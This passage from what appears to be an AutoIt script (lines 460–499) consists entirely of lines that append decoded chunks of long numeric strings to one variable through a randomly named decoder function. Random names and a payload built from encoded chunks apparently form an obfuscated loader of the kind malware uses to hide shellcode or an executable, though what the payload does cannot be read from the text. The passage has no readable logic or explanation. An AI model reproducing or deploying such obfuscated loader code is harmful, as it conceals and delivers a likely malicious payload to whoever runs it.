  460. $lmascgp &= btbxjymrfgaetpa("54,56,55,56,53,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,56,56,54,57,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,53,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,6,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60")
  461. $lmascgp &= btbxjymrfgaetpa("56,54,57,54,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,59,56,53,56,55,56,54,56,5,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,55,56,54,57,55,56,54,56,56,56,55,56,60,57")
  462. $lmascgp &= btbxjymrfgaetpa("57,56,53,56,6,56,55,56,57,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,5,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,57,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,57,56,53,56,56,56,6,56,6,56,6,56,55,56,59,56,6,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6")
  463. $lmascgp &= btbxjymrfgaetpa("56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,56,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,55,56,60,56,54,56,59,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,56,56,5,56,54,57")
  464. $lmascgp &= btbxjymrfgaetpa("55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,5,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,5,56,53,57,59,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54")
  465. $lmascgp &= btbxjymrfgaetpa("56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,5,56,54,57,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,56,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57")
  466. $lmascgp &= btbxjymrfgaetpa("54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,54,56,54,57,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,57,56,57,56,58,56,58")
  467. $lmascgp &= btbxjymrfgaetpa("57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,54,56,54,57,57,56,54,56,55,56,57,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,54,57,54,57,54,57,54,57")
  468. $lmascgp &= btbxjymrfgaetpa("54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,56,56,53,56,55,56,53,56,56,56,54,56,59,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55")
  469. $lmascgp &= btbxjymrfgaetpa("56,53,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,59,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,57,56,56,56")
  470. $lmascgp &= btbxjymrfgaetpa("54,57,58,56,54,56,55,56,53,56,58,56,54,57,55,57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,57,57,56,57,56,57,56,57,56,58,56,6,56,6,56,56,56,55,57,56,56,60,56,6,56,6,56,56,56,55,57,59,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,57,57,56,53,56,56,56,55,57,57,57,57,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,57,57,56,53,56,56,56,55,56,5,56,6,56,56,57,58,56,56,56,55,56,55,56,58,56,56,57,55,57,57")
  471. $lmascgp &= btbxjymrfgaetpa("56,53,56,56,56,55,56,5,57,57,56,56,56,55,56,56,57,57,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,59,56,60,56,58,57,55,56,56,56,56,56,56,57,57,56,56,57,57,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,55,56")
  472. $lmascgp &= btbxjymrfgaetpa("53,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,57,55,56,6,56,58,57,55,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,57,55,56,6,56,58,56,57,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56")
  473. $lmascgp &= btbxjymrfgaetpa("56,56,56,55,57,57,56,56,56,55,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,56,56,55,56,5,56,6,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,56,56,55,56,5,56,6,56,55,56,60,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,59,57,57,57")
  474. $lmascgp &= btbxjymrfgaetpa("55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,5,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,57,56,54,56,55,57,55,56,6,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,53,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,55,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,55,57,57,56,60,56,53,56,55,56,60,56,53,57,57,56,53,56,56,56,55,57,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,57,56,56,55,56,6,57,54")
  475. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,57,54,56,55,56,59,56,6,57,58,57,56,56,6,57,55,56,6,57,58,56,54,57,55,57,58,57,54,57,54,57,54,57,54,56,57,56,57,57,56,57,58,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,57,56,5,56,55,57,56,57,55,56,6,56,60,57,54,56,6,56,56,56,55,57,55,56,60,56,53,56,60,56,60,56,60,56,60,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56")
  476. $lmascgp &= btbxjymrfgaetpa("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57")
  477. $lmascgp &= btbxjymrfgaetpa("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56")
  478. $lmascgp &= btbxjymrfgaetpa("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54")
  479. $lmascgp &= btbxjymrfgaetpa("57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,58,57,57,57,54,56,60,57,54,57,54,57,54,57,54,57,55,56,6,57,59,56,59,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,57,55,56,6,56,5,56,57,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,60,57")
  480. $lmascgp &= btbxjymrfgaetpa("57,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,57,55,56,6,56,6,56,55,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,56,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,57,55,56,6,56,53,56,53,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,6,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,57,55,56,6,56,54,56,5,57,55,57,58,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5")
  481. $lmascgp &= btbxjymrfgaetpa("56,56,56,55,56,59,57,57,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,54,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,56,6,56,5,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,57,55,56,6,56,5,57,55,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,56")
  482. $lmascgp &= btbxjymrfgaetpa("55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,57,55,56,6,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,59,57,55,57,59,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,56,56,60,56,60,56,60")
  483. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,56,56,60,56")
  484. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,60")
  485. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,59,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57")
  486. $lmascgp &= btbxjymrfgaetpa("58,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,57,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56")
  487. $lmascgp &= btbxjymrfgaetpa("56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,6,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57")
  488. $lmascgp &= btbxjymrfgaetpa("59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,56,58,57,55,56,5,57,54,57,54")
  489. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,6,56,5,56,6,56,55,56,5,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,57,55,56,6,56,55,56,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,58,56,6,57")
  490. $lmascgp &= btbxjymrfgaetpa("54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,57,58,56,53,56,55,56,60,57,57,56,6,56,5,56,6,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,56,60")
  491. $lmascgp &= btbxjymrfgaetpa("56,5,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,5,56,60,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,6,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,56")
  492. $lmascgp &= btbxjymrfgaetpa("5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,5,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,53,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,55,57,55,56,6,57,54,57,54")
  493. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56")
  494. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,54,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,57,57,59,56,55,57,55,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,6,56,55,57,55,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6")
  495. $lmascgp &= btbxjymrfgaetpa("57,56,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,56,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56")
  496. $lmascgp &= btbxjymrfgaetpa("6,56,57,56,60,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,55,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,57,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,57,57")
  497. $lmascgp &= btbxjymrfgaetpa("56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,56,5,57")
  498. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,58,57,55,56,53,57,54,57,54,57,54")
  499. $lmascgp &= btbxjymrfgaetpa("57,54,56,6,56,5,56,6,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,55,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57")
